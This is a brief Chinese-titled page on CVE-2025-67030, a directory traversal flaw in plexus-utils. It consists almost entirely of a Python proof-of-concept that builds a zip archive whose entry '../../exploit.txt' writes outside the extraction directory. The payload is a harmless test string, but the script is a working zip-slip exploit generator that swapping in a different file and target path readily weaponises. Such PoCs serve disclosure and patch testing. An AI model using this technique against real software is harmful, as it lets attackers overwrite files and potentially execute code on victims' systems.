CVE-2025-67030 plexus-utils目录遍历漏洞

import zipfile import os # PoC for CVE-2025-67030 # This script generates a malicious zip file containing a path traversal entry. # The file to be created outside the extraction directory malicious_content = b"This is a test file for CVE-2025-67030" # Create a zip file with zipfile.ZipFile('cve_2025_67030_poc.zip', 'w') as zf: # Use "../" to escape the extraction directory # This will attempt to write 'exploit.txt' to the parent directory of where it is extracted zf.writestr('../../exploit.txt', malicious_content) print("Malicious zip file created: cve_2025_67030_poc.zip") print("When extracted, it will write to ../../exploit.txt")